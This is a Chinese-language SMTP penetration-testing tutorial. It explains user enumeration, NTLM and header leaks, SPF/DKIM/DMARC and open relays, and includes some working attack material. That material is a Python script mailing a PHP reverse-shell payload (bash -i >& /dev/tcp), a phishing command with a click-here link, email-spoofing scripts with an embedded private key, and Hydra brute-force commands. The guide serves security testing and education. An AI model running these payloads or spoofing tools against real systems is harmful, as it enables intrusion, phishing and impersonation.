25,465,587 - SMTPs渗透测试
2022-12-15 15:19:56 Author: Gcow安全团队(查看原文) 阅读量:45 收藏

基本信息

SMTP(简单邮件传输协议)*是一种用于*发送和接收电子邮件的 TCP/IP 协议。但是,由于它在接收端对消息进行排队的能力有限,因此它通常与其他两种协议之一(POP3 或 IMAP)一起使用,使用户可以将消息保存在服务器邮箱中并定期从服务器下载它们。

换句话说,用户通常使用使用SMTP 发送电子邮件并使用POP3 或 IMAP 接收电子邮件的程序。在基于 Unix 的系统上,sendmail是使用最广泛的电子邮件 SMTP 服务器。商业软件包 Sendmail 包括一个 POP3 服务器。Microsoft Exchange包括一个 SMTP 服务器,也可以设置为包括 POP3 支持。从这里开始。

默认端口: 25,465(ssl),587(ssl)

  1. PORT   STATE SERVICE REASON  VERSION

  2. 25/tcp open  smtp    syn-ack Microsoft ESMTP 6.0.3790.3959

EMAIL Headers

如果你有机会让受害者给你发一封电子邮件(例如通过网页的联系方式),那么这样做是因为你可以通过查看邮件标题了解受害者的内部拓扑结构。

您还可以从 SMTP 服务器获取一封电子邮件,试图向该服务器发送一封电子邮件到一个不存在的地址(因为服务器将向攻击者发送一封 NDN 邮件)。但是,请确保您从允许的地址发送电子邮件(检查 SPF 策略)并且您可以接收 NDN 消息。

您还应该尝试发送不同的内容,因为您可以在标题上找到更多有趣的信息,例如: 您应该发送 EICAR 测试文件。检测AV可能允许您利用已知漏洞。 X-Virus-Scanned:byav.domain.com

基本动作

Banner 抓取/基本连接

SMTP:

  1. nc -vn <IP> 25

SMTPS:

  1. openssl s_client -crlf -connect smtp.mailgun.org:465 #没有starttls命令的SSL/TLS

  2. openssl s_client -starttls smtp -crlf -connect smtp.mailgun.org:587

查找组织的 MX 服务器

  1. dig +short mx google.com

枚举

  1. nmap -p25 --script smtp-commands 10.10.10.10

  2. nmap -p25 --script smtp-open-relay 10.10.10.10 -v

NTLM Auth - 信息泄露

如果服务器支持 NTLM 身份验证 (Windows),您可以获得敏感信息(版本)。更多信息在这里

  1. [email protected]: telnet example.com 587

  2. 220 example.com SMTP Server Banner

  3. >> HELO

  4. 250 example.com Hello [x.x.x.x]

  5. >> AUTH NTLM 334

  6. NTLM supported

  7. >> TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=

  8. 334 TlRMTVNTUAACAAAACgAKADgAAAAFgooCBqqVKFrKPCMAAAAAAAAAAEgASABCAAAABgOAJQAAAA9JAEkAUwAwADEAAgAKAEkASQBTADAAMQABAAoASQBJAFMAMAAxAAQACgBJAEkAUwAwADEAAwAKAEkASQBTADAAMQAHAAgAHwMI0VPy1QEAAAAA

或者使用nmap插件自动执行此操作 smtp-ntlm-info.nse

内部服务器名称 - 信息泄露

当发出没有完整地址的命令“MAIL FROM”时,某些 SMTP 服务器会自动完成发件人的地址,从而泄露其内部名称:

  1. 220 somedomain.com Microsoft ESMTP MAIL Service, Version: Y.Y.Y.Y ready at  Wed, 15 Sep 2021 12:13:28 +0200

  2. EHLO all

  3. 250-somedomain.com Hello [x.x.x.x]

  4. 250-TURN

  5. 250-SIZE 52428800

  6. 250-ETRN

  7. 250-PIPELINING

  8. 250-DSN

  9. 250-ENHANCEDSTATUSCODES

  10. 250-8bitmime

  11. 250-BINARYMIME

  12. 250-CHUNKING

  13. 250-VRFY

  14. 250 OK

  15. MAIL FROM: me

  16. 250 2.1.0 [email protected].somedomain.com....Sender OK

嗅探

检查你是否从数据包中嗅探了一些密码到端口 25

用户名暴力枚举

并不总是需要身份验证

收件人

  1. $ telnet 10.0.10.1 25

  2. Trying 10.0.10.1...

  3. Connected to 10.0.10.1.

  4. Escape character is '^]'.

  5. 220 myhost ESMTP Sendmail 8.9.3

  6. HELO x

  7. 250 myhost Hello [10.0.0.99], pleased to meet you

  8. MAIL FROM:[email protected].org

  9. 250 2.1.0 [email protected].org... Sender ok

  10. RCPT TO:test

  11. 550 5.1.1 test... User unknown

  12. RCPT TO:admin

  13. 550 5.1.1 admin... User unknown

  14. RCPT TO:ed

  15. 250 2.1.5 ed... Recipient ok

VRFY

  1. $ telnet 10.0.0.1 25

  2. Trying 10.0.0.1...

  3. Connected to 10.0.0.1.

  4. Escape character is '^]'.

  5. 220 myhost ESMTP Sendmail 8.9.3

  6. HELO

  7. 501 HELO requires domain address

  8. HELO x

  9. 250 myhost Hello [10.0.0.99], pleased to meet you

  10. VRFY root

  11. 250 Super-User <[email protected]>

  12. VRFY blah

  13. 550 blah... User unknown

EXPN

  1. $ telnet 10.0.10.1 25

  2. Trying 10.0.10.1...

  3. Connected to 10.0.10.1.

  4. Escape character is '^]'.

  5. 220 myhost ESMTP Sendmail 8.9.3

  6. HELO

  7. 501 HELO requires domain address

  8. HELO x

  9. EXPN test

  10. 550 5.1.1 test... User unknown

  11. EXPN root

  12. 250 2.1.5 <ed.[email protected]>

  13. EXPN sshd

  14. 250 2.1.5 sshd privsep <[email protected]>

摘自: https://research.nccgroup.com/2015/06/10/username-enumeration-techniques-and-their-value/

自动工具

  1. Metasploit: auxiliary/scanner/smtp/smtp_enum

  2. smtp-user-enum: smtp-user-enum -M <MODE> -u <USER> -t <IP>

  3. Nmap: nmap --script smtp-enum-users <IP>

DSN 返回

投递状态通知报告:如果您向某个组织发送电子邮件无效地址,该组织将通知该地址无效并向您发回邮件返回电子邮件的标题包含可能的敏感信息(例如与报告交互的邮件服务的 IP 地址或防病毒软件信息)。

[命令]

从 linux 控制台发送电子邮件

  1. [email protected]:~# sendEmail -t [email protected].com -f [email protected].com -s 192.168.8.131 -u Important Upgrade Instructions -a /tmp/BestComputers-UpgradeInstructions.pdf

  2. Reading message body from STDIN because the '-m' option was not used.

  3. If you are manually typing in a message:

  4.  - First line must be received within 60 seconds.

  5.  - End manual input with a CTRL-D on its own line.

  6. IT Dept,

  7. We are sending this important file to all our customers. It contains very important instructions for upgrading and securing your software. Please read and let us know if you have any problems.

  8. Sincerely,

  9. swaks --to $(cat emails | tr '\n' ',' | less) --from [email protected].htb --header "Subject: test" --body "please click here http://10.10.14.42/" --server 10.10.10.197

使用 Python 发送电子邮件

这是使用 python 脚本发送电子邮件的替代方法

  1. from email.mime.multipart import MIMEMultipart

  2. from email.mime.text import MIMEText

  3. import smtplib

  4. import sys

  5. lhost = "127.0.0.1"

  6. lport = 443

  7. rhost = "192.168.1.1"

  8. rport = 25 # 489,587

  9. # create message object instance

  10. msg = MIMEMultipart()

  11. # setup the parameters of the message

  12. password = ""

  13. msg['From'] = "[email protected]"

  14. msg['To'] = "[email protected]"

  15. msg['Subject'] = "This is not a drill!"

  16. # payload

  17. message = ("<?php system('bash -i >& /dev/tcp/%s/%d 0>&1'); ?>" % (lhost,lport))

  18. print("[*] Payload is generated : %s" % message)

  19. msg.attach(MIMEText(message, 'plain'))

  20. server = smtplib.SMTP(host=rhost,port=rport)

  21. if server.noop()[0] != 250:

  22.    print("[-]Connection Error")

  23.    exit()

  24. server.starttls()

  25. # Uncomment if log-in with authencation

  26. # server.login(msg['From'], password)

  27. server.sendmail(msg['From'], msg['To'], msg.as_string())

  28. server.quit()

  29. print("[***]successfully sent email to %s:" % (msg['To']))

邮件欺骗

本节的大部分内容摘自网络安全评估第 3 版一书

SMTP 消息很容易被欺骗,因此组织使用SPFDKIMDMARC功能来防止各方发送未经授权的电子邮件。

有关这些对策的完整指南,请访问https://seanthegeek.net/459/demystifying-dmarc/

SPF

发件人策略框架(SPF) 提供了一种机制,允许 MTA 检查发送电子邮件的主机是否经过授权。然后,组织可以定义授权邮件服务器列表,MTA 可以查询此列表以检查电子邮件是否被欺骗。为了定义 IP 地址/范围、域和其他允许代表域名发送电子邮件的人, SPF 注册表中出现了不同的“机制”。

机制

MechanismDescription
ALL始终匹配;用于默认结果,例如 -all所有与先前机制不匹配的 IP。
A如果域名有可以解析到发件人地址的地址记录(A或AAAA),则匹配。
IP4如果发件人在给定的 IPv4 地址范围内,则匹配。
IP6如果发件人在给定的 IPv6 地址范围内,则匹配。
MX如果域名有解析为发件人地址的 MX 记录,它将匹配(即邮件来自域的接收邮件服务器之一)。
PTR如果客户端地址的域名(PTR 记录)在给定域中并且该域名解析为客户端地址(正向确认的反向 DNS),则匹配。这种机制是不鼓励的,应该尽可能避免。
EXISTS如果给定的域名解析为任何地址,则匹配(无论它解析为哪个地址)。这很少使用。它与 SPF 宏语言一起提供更复杂的匹配,如 DNSBL 查询。
INCLUDE引用另一个域的策略。如果该域的策略通过,则此机制通过。但是,如果包含的策略失败,处理将继续。要完全委托给另一个域的策略,必须使用重定向扩展。
REDIRECT重定向是指向托管 SPF 策略的另一个域名的指针,它允许多个域共享相同的 SPF 策略。在处理共享相同电子邮件基础设施的大量域时,它很有用。

还可以识别指示匹配机制时应执行的操作的限定符。默认情况下,使用限定符 “+” (因此,如果任何机制匹配,则意味着它是允许的)。您通常会在每个 SPF 政策的末尾注明\~all-all 。这用于指示如果发件人不符合任何 SPF 策略,您应该将电子邮件标记为不受信任 (\~) 或拒绝 (-) 电子邮件。

限定条件

每个机制都可以与四个限定符之一组合:

  • ** +**对于 PASS 结果。这个可以省略;例如, +mx与 相同 mx

  • ** ?**对于解释为 NONE(无政策)的 NEUTRAL 结果。

  • ~(代字号)代表 SOFTFAIL,一种介于 NEUTRAL 和 FAIL 之间的调试辅助工具。通常,返回 SOFTFAIL 的消息会被接受但会被标记。

  • -(减号)对于失败,邮件应该被拒绝(见下文)。

在下面的示例中,您可以阅读google.com 的 SPF 策略。请注意第一个 SPF 策略如何包含其他域的 SPF 策略:

  1. [email protected]:~$ dig txt google.com | grep spf

  2. google.com.             235     IN      TXT     "v=spf1 include:_spf.google.com ~all"

  3. [email protected]:~$ dig txt _spf.google.com | grep spf

  4. ; <<>> DiG 9.11.3-1ubuntu1.7-Ubuntu <<>> txt _spf.google.com

  5. ;_spf.google.com.               IN      TXT

  6. _spf.google.com.        235     IN      TXT     "v=spf1 include:_netblocks.google.com include:_netblocks2.google.com include:_netblocks3.google.com ~all"

  7. [email protected]:~$ dig txt _netblocks.google.com | grep spf

  8. _netblocks.google.com.  1606    IN      TXT     "v=spf1 ip4:35.190.247.0/24 ip4:64.233.160.0/19 ip4:66.102.0.0/20 ip4:66.249.80.0/20 ip4:72.14.192.0/18 ip4:74.125.0.0/16 ip4:108.177.8.0/21 ip4:173.194.0.0/16 ip4:209.85.128.0/17 ip4:216.58.192.0/19 ip4:216.239.32.0/19 ~all"

  9. [email protected]:~$ dig txt _netblocks2.google.com | grep spf

  10. _netblocks2.google.com. 1908    IN      TXT     "v=spf1 ip6:2001:4860:4000::/36 ip6:2404:6800:4000::/36 ip6:2607:f8b0:4000::/36 ip6:2800:3f0:4000::/36 ip6:2a00:1450:4000::/36 ip6:2c0f:fb50:4000::/36 ~all"

  11. [email protected]:~$ dig txt _netblocks3.google.com | grep spf

  12. _netblocks3.google.com. 1903    IN      TXT     "v=spf1 ip4:172.217.0.0/19 ip4:172.217.32.0/20 ip4:172.217.128.0/19 ip4:172.217.160.0/20 ip4:172.217.192.0/19 ip4:172.253.56.0/21 ip4:172.253.112.0/20 ip4:108.177.96.0/19 ip4:35.191.0.0/16 ip4:130.211.0.0/22 ~all"

传统上,可以欺骗任何没有正确/任何 SPF 记录的域名。如今,如果电子邮件来自没有有效 SPF 记录的域,*可能会*自动被拒绝/标记为不受信任

要检查域的 SPF,您可以使用在线工具,例如:https://www.kitterman.com/spf/validate.html

DKIM

DomainKeys Identified Mail (DKIM) 是一种机制,通过该机制,外国 MTA 在通过 DNS 检索域的公钥时对出站电子邮件进行签名和验证。DKIM 公钥保存在域的 TXT 记录中;但是,您必须知道选择器和域名才能检索它。

然后,要请求密钥,您需要域名和邮件标题中的邮件选择器, DKIM-Signature例如:d=gmail.com;s=20120113

  1. dig 20120113._domainkey.gmail.com TXT | grep p=

  2. 20120113._domainkey.gmail.com. 280 IN   TXT    "k=rsa\; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCg

  3. KCAQEA1Kd87/UeJjenpabgbFwh+eBCsSTrqmwIYYvywlbhbqoo2DymndFkbjOVIPIldNs/m40KF+yzMn1skyoxcTUGCQs8g3

DMARC

基于域的消息身份验证、报告和一致性 (DMARC) 是一种在 SPF 和 DKIM 基础上扩展的邮件身份验证方法。策略指示邮件服务器如何处理给定域的电子邮件并报告执行的操作。

[

](https://github.com/carlospolop/hacktricks/blob/master/.gitbook/assets/image (134).png)

获取DMARC记录需要查询子域名_dmarc

  1. [email protected]:~# dig _dmarc.yahoo.com txt | grep DMARC

  2. _dmarc.yahoo.com.  1785 IN TXT "v=DMARC1\; p=reject\; sp=none\; pct=100\;

  3. rua=mailto:[email protected], mailto:[email protected]\;"

  4. [email protected]:~# dig _dmarc.google.com txt | grep DMARC

  5. _dmarc.google.com. 600 IN TXT "v=DMARC1\; p=quarantine\; rua=mailto:[email protected]"

  6. [email protected]:~# dig _dmarc.paypal.com txt | grep DMARC

  7. _dmarc.paypal.com. 300 IN TXT "v=DMARC1\; p=reject\; rua=mailto:[email protected]\;

  8. ruf=mailto:[email protected],mailto:[email protected]"

PayPal 和 Yahoo 指示邮件服务器拒绝包含无效 DKIM 签名或并非来自其网络的邮件。然后将通知发送到每个组织内的相应电子邮件地址。谷歌以类似的方式配置,尽管它指示邮件服务器隔离邮件而不是完全拒绝它们。

DMARC 标签

Tag NamePurposeSample
v协议版本v=DMARC1
pct受到过滤的消息的百分比pct=20
ruf取证报告的报告 URIruf=mailto:[email protected]
rua汇总报告的报告 URIrua=mailto:[email protected]
p组织域策略p=quarantine
spOD 子域的策略sp=reject
adkimDKIM 的对齐模式adkim=s
aspfSPF 对齐模式aspf=r

子域呢?

从这里开始.您需要为您希望从中发送邮件的每个子域拥有单独的 SPF 记录。以下内容最初发布在 openspf.org 上,该网站曾经是此类内容的重要资源。

难搞的问题: 子域呢?如果我收到来自 pielovers.demon.co.uk 的邮件,并且没有 pielovers 的 SPF 数据,我是否应该返回一级并测试 demon.co.uk 的 SPF?不。Demon 的每个子域都是不同的客户,每个客户可能有自己的政策。默认情况下 Demon 的政策适用于所有客户是没有意义的;如果 Demon 想要这样做,它可以为每个子域设置 SPF 记录。因此,对 SPF 发布者的建议是:您应该为每个具有 A 或 MX 记录的子域或主机名添加 SPF 记录。具有通配符 A 或 MX 记录的站点还应具有通配符 SPF 记录,格式为:* IN TXT "v=spf1 -all"

这是有道理的——一个子域很可能位于不同的地理位置并且具有非常不同的 SPF 定义。

打开中继

为防止发送的邮件被垃圾邮件过滤器过滤而无法到达收件人,发件人可以使用收件人信任的中继服务器。通常,管理员没有概述他们必须允许哪些IP范围。这会导致我们在外部和内部渗透测试中仍然经常发现的 SMTP 服务器配置错误。因此,它们允许所有 IP 地址不会在电子邮件流量中造成错误,从而不会干扰或无意中中断与潜在和当前客户的通信:

  1. mynetworks = 0.0.0.0/0

  2. nmap -p25 --script smtp-open-relay 10.10.10.10 -v

工具

  • https://github.com/serain/mailspoof 检查 SPF 和 DMARC 配置错误

  • https://pypi.org/project/checkdmarc/ 自动获取 SPF 和 DMARC 配置

发送恶搞邮件

  • https://www.mailsploit.com/index

  • http://www.anonymailer.net/

  • https://emkei.cz/

或者你可以使用这个工具:

  • https://github.com/magichk/magicspoofing

  1. # 这将从[email protected]发送测试电子邮件到[email protected]

  2. python3 magicspoofmail.py -d victim.com -t -e [email protected].com

  3. # 但你也可以修改邮件的更多选项

  4. python3 magicspoofmail.py -d victim.com -t -e [email protected].com --subject TEST --sender [email protected].com

如果您在 dkim python 库中使用解析密钥时遇到任何错误,请随意使用以下一个。注意:这只是一个肮脏的修复,用于在由于某种原因 openssl 私钥无法被 dkim 解析的情况下进行快速检查。

  1. -----BEGIN RSA PRIVATE KEY-----

  2. MIICXgIBAAKBgQDdkohAIWT6mXiHpfAHF8bv2vHTDboN2dl5pZKG5ZSHCYC5Z1bt

  3. spr6chlrPUX71hfSkk8WxnJ1iC9Moa9sRzdjBrxPMjRDgP8p8AFdpugP5rJJXExO

  4. pkZcdNPvCXGYNYD86Gpous6ubn6KhUWwDD1bw2UFu53nW/AK/EE4/jeraQIDAQAB

  5. AoGAe31lrsht7TWH9aJISsu3torCaKyn23xlNuVO6xwdUb28Hpk327bFpXveKuS1

  6. koxaLqQYrEriFBtYsU8T5Dc06FQAVLpUBOn+9PcKlxPBCLvUF+/KbfHF0q1QbeZR

  7. fgr+E+fPxwVPxxk3i1AwCP4Cp1+bz2s58wZXlDBkWZ2YJwECQQD/f4bO2lnJz9Mq

  8. 1xsL3PqHlzIKh+W+yiGmQAELbgOdX4uCxMxjs5lwGSACMH2nUwXx+05RB8EM2m+j

  9. ZBTeqxDxAkEA3gHyUtVenuTGClgYpiwefaTbGfYadh0z2KmiVcRqWzz3hDUEWxhc

  10. GNtFT8wzLcmRHB4SQYUaS0Df9mpvwvdB+QJBALGv9Qci39L0j/15P7wOYMWvpwOf

  11. 422+kYxXcuKKDkWCTzoQt7yXCRzmvFYJdznJCZdymNLNu7q+p2lQjxsUiWECQQCI

  12. Ms2FP91ywYs1oWJN39c84byBKtiFCdla3Ib48y0EmFyJQTVQ5ZrqrOrSz8W+G2Do

  13. zRIKHCxLapt7w0SZabORAkEAxvm5pd2MNVqrqMJHbukHY1yBqwm5zVIYr75eiIDP

  14. K9B7U1w0CJFUk6+4Qutr2ROqKtNOff9KuNRLAOiAzH3ZbQ==

  15. -----END RSA PRIVATE KEY-----

或者你可以手动完成:

php

  1. # 这将发送未签名的消息

  2. mail("[email protected]", "Test Subject!", "hey! This is a test", "From: [email protected]");

Python

  1. # 来自 https://github.com/magichk/magicspoofing/blob/main/magicspoofmail.py

  2. import os

  3. import dkim #pip3 install dkimpy

  4. import smtplib

  5. from email.mime.multipart import MIMEMultipart

  6. from email.mime.text import MIMEText

  7. from email.mime.base import MIMEBase

  8. # Set

  9. destination="[email protected]om"

  10. sender="[email protected]"

  11. subject="Test"

  12. message_html="""

  13. <html>

  14.  <body>

  15.    <h3>This is a test, not a scam</h3>

  16.    <br />

  17.  </body>

  18. </html>

  19. """

  20. sender_domain=sender.split("@")[1]

  21. # Prep

  22. os.system("sudo sed -ri 's/(myhostname) = (.*)/\\1 = "+sender_domain+"/g' /etc/postfix/main.cf")

  23. os.system("systemctl restart postfix")

  24. # 生成 DKIM keys

  25. dkim_private_key_path="dkimprivatekey.pem"

  26. os.system(f"openssl genrsa -out {dkim_private_key_path} 1024 2> /dev/null")

  27. with open(dkim_private_key_path) as fh:

  28.    dkim_private_key = fh.read()

  29. # 生成电子邮件

  30. msg = MIMEMultipart("alternative")

  31. msg.attach(MIMEText(message_html, "html"))

  32. msg["To"] = destination

  33. msg["From"] = sender

  34. msg["Subject"] = subject

  35. headers = [b"To", b"From", b"Subject"]

  36. msg_data = msg.as_bytes()

  37. # 使用dkim签署电子邮件

  38. ## 收件人将无法检查,但电子邮件将显示为已签名(因此更可信)

  39. dkim_selector="s1"

  40. sig = dkim.sign(message=msg_data,selector=str(dkim_selector).encode(),domain=sender_domain.encode(),privkey=dkim_private_key.encode(),include_headers=headers)

  41. msg["DKIM-Signature"] = sig[len("DKIM-Signature: ") :].decode()

  42. msg_data = msg.as_bytes()

  43. # 使用本地后缀中继发送电子邮件

  44. smtp="127.0.0.1"

  45. s = smtplib.SMTP(smtp)

  46. s.sendmail(sender, [destination], msg_data)

更多信息

https://seanthegeek.net/459/demystifying-dmarc/ 中查找有关这些保护的更多信息

通过 SMTP 渗透

如果您可以通过 SMTP 发送数据。

配置文件

后缀

通常,如果已安装,in /etc/postfix/master.cf包含在例如用户收到新邮件时执行的脚本。例如,该行 flags=Rquser=mark argv=/etc/postfix/filtering-f ${sender}--${recipient}表示 /etc/postfix/filtering如果用户标记收到新邮件,将执行该行。

其他配置文件:

  1. sendmail.cf

  2. submit.cf

自动化命令

  1. Protocol_Name: SMTP    #协议缩写(如果有的话)。

  2. Port_Number:  25,465,587     #如果有多个,则用逗号分隔。

  3. Protocol_Description: Simple Mail Transfer Protocol          #协议缩写

  4. Entry_1:

  5.  Name: Notes

  6.  Description: Notes for SMTP

  7.  Note: |

  8.    SMTP (Simple Mail Transfer Protocol) is a TCP/IP protocol used in sending and receiving e-mail. However, since it is limited in its ability to queue messages at the receiving end, it is usually used with one of two other protocols, POP3 or IMAP, that let the user save messages in a server mailbox and download them periodically from the server.

  9. Entry_2:

  10.  Name: Banner Grab

  11.  Description: Grab SMTP Banner

  12.  Command: nc -vn {IP} 25

  13. Entry_3:

  14.  Name: SMTP Vuln Scan

  15.  Description: SMTP Vuln Scan With Nmap

  16.  Command: nmap --script=smtp-commands,smtp-enum-users,smtp-vuln-cve2010-4344,smtp-vuln-cve2011-1720,smtp-vuln-cve2011-1764 -p 25 {IP}

  17. Entry_4:

  18.  Name: SMTP User Enum

  19.  Description: Enumerate uses with smtp-user-enum

  20.  Command: smtp-user-enum -M VRFY -U {Big_Userlist} -t {IP}

  21. Entry_5:

  22.  Name: SMTPS Connect

  23.  Description: Attempt to connect to SMTPS two different ways

  24.  Command: openssl s_client -crlf -connect {IP}:465 &&&& openssl s_client -starttls smtp -crlf -connect {IP}:587

  25. Entry_6:

  26.  Name: Find MX Servers

  27.  Description: Find MX servers of an organization

  28.  Command: dig +short mx {Domain_Name}

  29. Entry_7:

  30.  Name: Hydra Brute Force

  31.  Description: Need Nothing

  32.  Command: hydra -P {Big_Passwordlist} {IP} smtp -V

  33. Entry_8:

  34.  Name: consolesless mfs enumeration

  35.  Description: SMTP enumeration without the need to run msfconsole

  36.  Note: sourced from https://github.com/carlospolop/legion

  37.  Command: msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_version; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_ntlm_domain; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_relay; set RHOSTS {IP}; set RPORT 25; run; exit'


文章来源: http://mp.weixin.qq.com/s?__biz=MzUyNzk2NDcwMw==&mid=2247488164&idx=2&sn=d8b3420e1d7c3d7bc94ef7e0419df031&chksm=fa76ddd4cd0154c202c091b3c7b9e77096460e0e6219dcbd69cc273e0da94199049e6f0ec157#rd
如有侵权请联系:admin#unsafe.sh